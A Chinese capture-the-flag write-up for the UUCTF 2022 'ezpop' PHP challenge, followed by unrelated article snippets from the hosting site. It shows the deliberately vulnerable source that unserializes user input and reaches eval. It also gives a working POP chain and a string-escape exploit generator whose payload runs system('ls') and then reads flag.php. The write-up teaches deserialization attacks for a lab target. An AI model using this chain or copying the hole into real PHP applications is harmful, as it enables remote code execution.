[UUCTF 2022 新生赛]ezpop 详细题解(字符串逃逸)

知识点:

php反序列化字符串逃逸
php反序列化魔术方法
构造pop链
变量引用

其实这一题还是比较简单的,只要看懂代码,并且理解为什么要用反序列化字符串逃逸,下面会详细解释

题目源码:

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}
}
class output{public $a;function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd;function rce(){eval($this->cmd);}
}
$pdata=$_POST["data"];
if(isset($pdata))
{$data=serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);
}else{highlight_file(__FILE__);
}
?>

第一眼看到有很多类以及后面的反序列化函数,并且代码中间看到了eval()命令执行函数,那么基本上就需要构造pop链,先不看最后面的代码,先构造pop链

构造pop链

从后往前推,最终要执行eval($this->cmd); 需要执行rce()函数  output类中可以执行rce()函数,把output类中属性a赋值为youwant类对象
toString()方法会在一个对象被当作字符串时被调用,发现nothing类中有die方法,die是触发tostring魔术方法的方式,当die函数中的参数是字符串时,执行die函数就会输出字符串,让output类对象作为参数即可触发toString()方法

但是题目的版本是PHP/7.2.34        
__wakeup()绕过漏洞存在的版本需要满足  PHP5 < 5.6.25     PHP7 < 7.0.10  
这里无法绕过nothing类中的wakeup方法,参数a会被赋值为空字符串,无法赋值触发toString()

不过代码  $this->b=$this->t;  将t赋给了b,虽然a不能改,但是可以让a、b同用一个地址,那么b发生变化,a也随之变化,把t赋值为output类对象,这样 a b 就都是output类对象 

__destruct()方法在反序列化执行结束自动调用,到此完成构造

pop链就是 youwant::rce() -> output::toString() -> nothing::destruct()

<?php
class output{public $a;   // 2 赋值为nothing类对象}
class nothing{public $a;  //  3 变量引用b,与b共用一个地址public $b; public $t;   // 3 赋值为youwant类对象
}
class youwant{public $cmd;  // 1 命令执行
}$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
//结果是 O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:3:"system("ls");";}}}

为什么要利用php反序列化字符串逃逸?

刚才没看最后的代码部分,现在来看,先序列化一个UUCTF类对象,然后对序列化的字符串进行替换,把hacker替换为loveuu!  然后执行反序列化操作

关键在于只有上面构造的序列化字符串经过反序列化之后才会执行eval()函数,这里反序列化的是UUCTF类对象序列化后的字符串,明显是不会执行eval函数的

注意到UUCTF类中

if($this->key==="UUCTF")$this->ob=unserialize(base64_decode($this->basedata));

这里也可以执行反序列化操作,那么思路就是让属性basedata 赋值为上面构造的序列化字符串的base64加密形式,在代码最后一行的unserialize($data_replace)反序列化函数执行之前会自动触发wakeup方法,如果key==="UUCTF"即可执行,达到目的

<?php
class UUCTF{public $name,$key,$basedata,$ob;
}
$a = new UUCTF();
$a->key="UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";
echo serialize($a);//结果 O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面序列化得到的结果是我们想要的,但是怎么才能构造出来呢?

代码中 $data=serialize(new UUCTF($pdata));  我们能控制的变量只有UUCTF类中的name属性,

其他属性都无法赋值,假如给name赋值为abc 那么就类似于

O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

N表示这是一个NULL值,即没有赋值

如果要执行eval()函数,key必须是UUCTF  basedata必须是构造好的可以执行eval()函数的序列化字符串,ob是结果,和basedata绑定, 只有name属性是随意的,所以在name处进行字符串逃逸

字符串逃逸:

代码中会把hacker替换为loveuu!   6个字符变为7个字符,长度增加,但是序列化字符串格式前面的个数是没变的,替换就会长度不匹配导致反序列化操作失败,但是这个替换操作会有很大的危害

O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面这个序列化字符串是我们想要的格式,下面这个是题目代码中执行的基本格式

O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

我们能够控制的只有里面的name的值

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面字符串长度是262 如果在这个字符串前面加上262个hacker,长度变262+6*262=7*262=1834 

替换之后变成

O:5:"UUCTF":4:{s:4:"name";s:1834:"262个loveuu!";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

1834对应了262个loveuu! 后面一直到6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;} 此时一切都是正常的,反序列化函数看到;} 就当作结束符号,后面的都会忽略掉,此时最后面的key basedata都会无效,有效的就是前面构造的key和basedata,完成字符串逃逸,反序列化之后即可正常执行eval()函数

下面是完整的代码

<?php
class UUCTF{public $name,$key,$basedata,$ob;
}
class output{public $a;  
}
class nothing{public $a;  public $b;public $t;
}
class youwant{public $cmd; }$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';
for($i=0;$i<strlen($post);$i++)
{$hacker=$hacker.'hacker';}
echo $hacker.$post;

得到结果之后post传参给data   可以看到flag.php 

然后把ls 改为 tac flag.php 即可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/884884.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python爬虫基础-正则表达式!

前言 正则表达式是对字符串的一种逻辑公式&#xff0c;用事先定义好的一些特定字符、及这些特定字符的组合&#xff0c;组成一个“规则的字符串”&#xff0c;此字符串用来表示对字符串的一种“过滤”逻辑。正在在很多开发语言中都存在&#xff0c;而非python独有。对其知识点…

AI之硬件对比:据传英伟达Nvidia2025年将推出RTX 5090-32GB/RTX 5080-24GB、华为2025年推出910C/910D

AI之硬件对比&#xff1a;据传英伟达Nvidia2025年将推出RTX 5090-32GB/RTX 5080-24GB、华为2025年推出910C/910D 目录 Nvidia的显卡 Nvidia的5090/5080/4090/4080&#xff1a;据传传英伟达Nvidia RTX 5090后续推出32GB版且RTX 5080后续或推出24GB版 RTX 5090相较于RTX 4090&…

SRS:构建实时免费视频服务器的全方位指南

SRS&#xff08;Simple Realtime Server&#xff09;是一个开源的、基于MIT协议的实时视频服务器&#xff0c;以其简单、高效而著称。它支持多种流媒体协议&#xff0c;包括RTMP、WebRTC、HLS、HTTP-FLV、SRT、MPEG-DASH和GB28181等&#xff0c;使其成为直播和WebRTC领域的理想…

Day95 Docker

Docker的使用 1、Docker是什么 docker是一个用来管理镜像的容器 容器(container)&#xff1a;可以装东西 镜像( image )&#xff1a;所谓的镜像&#xff0c;你可以认为就是一个虚拟机 虚拟机&#xff1a;用软件代理硬件来模拟整个计算机的这样一套软件就成为 虚拟机 镜像说白了…

Imperva 数据库与安全解决方案

Imperva是网络安全解决方案的专业提供商&#xff0c;能够在云端和本地对业务关键数据和应用程序提供保护。公司成立于 2002 年&#xff0c;拥有稳定的发展和成功历史并于 2014 年实现产值1.64亿美元&#xff0c;公司的3700多位客户及300个合作伙伴分布于全球各地的90多个国家。…

搜维尔科技:【煤矿虚拟仿真】煤矿企业、高校、科研单位-多语言支持、数字孪生、交互式学习体验

品牌&#xff1a;SouVR 发票&#xff1a;支持专票、普票 单位&#xff1a;套 版本号&#xff1a;1.0 包装清单&#xff1a;软件1套 软件形式&#xff1a;U盘、光盘 运行环境&#xff1a;windows 应用对象&#xff1a;煤矿企业、高校、科研单位 系统配置&#xff1a;…

[C++]——哈希(附源码)

目录 ​编辑 ​编辑 一、前言 二、正文 2.1 unorder系列关联式容器 2.1.1 unordered_map 2.1.1.1 unorderer_map的介绍 ①unordered_map的构造 ②unordered_map的容量 ③unordered_map的迭代器 ④unordered_map的元素访问 ⑤unordered_map的查询 ⑥unordered_map的修改操…

Linux:防火墙和selinux对服务的影响

1-1selinux 1-1 SELinux是对程序、文件等权限设置依据的一个内核模块。由于启动网络服务的也是程序&#xff0c;因此刚好也 是能够控制网络服务能否访问系统资源的一道关卡。 1-2 SELinux是通过MAC的方式来控制管理进程&#xff0c;它控制的主体是进程&#xff0c;而目标则是…

qt QProgressBar详解

1、概述 QProgressBar是Qt框架中的一个控件&#xff0c;专门用于显示任务的进度。它提供了一个可视化的进度条&#xff0c;让用户能够直观地了解任务的完成程度。QProgressBar支持水平和垂直两种显示方向&#xff0c;并且可以通过设置最小值和最大值来指定进度条的范围。此外&…

力扣最热一百题——杨辉三角

目录 题目链接&#xff1a;118. 杨辉三角 - 力扣&#xff08;LeetCode&#xff09; 题目描述 示例 提示: 解法一&#xff1a;利用特性构建杨辉三角 1. 结果存储结构&#xff1a; 2. 初始化和循环遍历每一层&#xff1a; 3. 构建每一层&#xff1a; 4. 填充中间的元素&…

解决com.mysql.jdbc.NonRegisteringDriver内存泄漏问题

1. 问题背景 线上出现内存报警&#xff0c;通过dump文件&#xff0c;MAT分析&#xff0c;发现mysql-connector-java 有内存泄漏问题 2.问题分析 然后看大对象列表&#xff0c;NonRegisteringDriver 对象确实占内存比较多&#xff0c;里面村的数据库连接的虚引用占比较多 3.解…

【AIGC】ChatGPT提示词Prompt高效编写技巧:逆向拆解OpenAI官方提示词

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;OpenAI官方提示词的介绍OpenAI官方提示词的结构与组成如何通过分析提示词找到其核心组件 &#x1f4af;OpenAI官方提示词分析案例一&#xff1a;制定教学计划案例二&…

Ubuntu 22 安装 Apache Doris 3.0.3 笔记

Ubuntu 22 安装 Apache Doris 3.0.3 笔记 1. 环境准备 Doris 需要 Java 17 作为运行环境&#xff0c;所以首先需要安装 Java 17。 sudo apt-get install openjdk-17-jdk -y sudo update-alternatives --config java在安装 Java 17 后&#xff0c;可以通过 sudo update-alter…

多线程生产消费者模型

线程同步 互斥锁(互斥量)条件变量生产/消费者模型 一、互斥锁 C11提供了四种互斥锁&#xff1a; mutex&#xff1a;互斥锁。timed_mutex&#xff1a;带超时机制的互斥锁。recursive_mutex&#xff1a;递归互斥锁。recursive_timed_mutex&#xff1a;带超时机制的递归互斥锁…

理解 WordPress | 第五篇:页面构建器选择指南

WordPress 专题致力于从 0 到 1 搞懂、用熟这种可视化建站工具。 第一阶段主要是理解。 第二阶段开始实践个人博客、企业官网、独立站的建设。 如果感兴趣&#xff0c;点个关注吧&#xff0c;防止迷路。 什么是 WordPress 构建器 WordPress 构建器&#xff08;Page Builder&am…

【Linux系统编程】第四十二弹---多线程编程全攻略:涵盖线程创建、异常处理、用途、进程对比及线程控制

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】 目录 1、线程创建 2、线程异常 3、线程用途 4、进程 VS 线程 5、线程控制 5.1、创建和等待线程 1、线程创建 线程能看到进程的大…

基于SSM的在线作业管理系统 -octopus-master(源码+调试)

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。你想解决的问题&#xff0c;今天给大家介绍…

医学影像类和医用电气设备测试标准整理

医学影像类和医用电气设备测试标准整理 1、GB 9706.225-2022 医用电气设备 第2-25部分:心电图机的基本安全和基本性能专用要求 GB 9706.225规定了在201.3.63中定义的通过自身或作为ME系统一部分,提供可供诊断用的心电图报告的心电图机基本安全和基本性能,以下称为ME设备。 …

鸿蒙原生应用开发及部署:首选华为云,开启HarmonyOS NEXT App新纪元

目录 前言 HarmonyOS NEXT&#xff1a;下一代操作系统的愿景 1、核心特性和优势 2、如何推动应用生态的发展 3、对开发者和用户的影响 华为云服务在鸿蒙原生应用开发中的作用 1、华为云ECS C系列实例 &#xff08;1&#xff09;全维度性能升级 &#xff08;2&#xff…

3^100的位数判断

3^100的位数判断 问题来源 字节面试&#xff0c;面试官提问&#xff1a;口算估计3^100的位数&#xff0c;或是给出位数估计范围。 解决方案 方法一&#xff1a; 该方法纯口算&#xff0c;可得一个较为准确的一个范围 2 100 < 3 100 < 4 100 2^{100}<3^{100}<…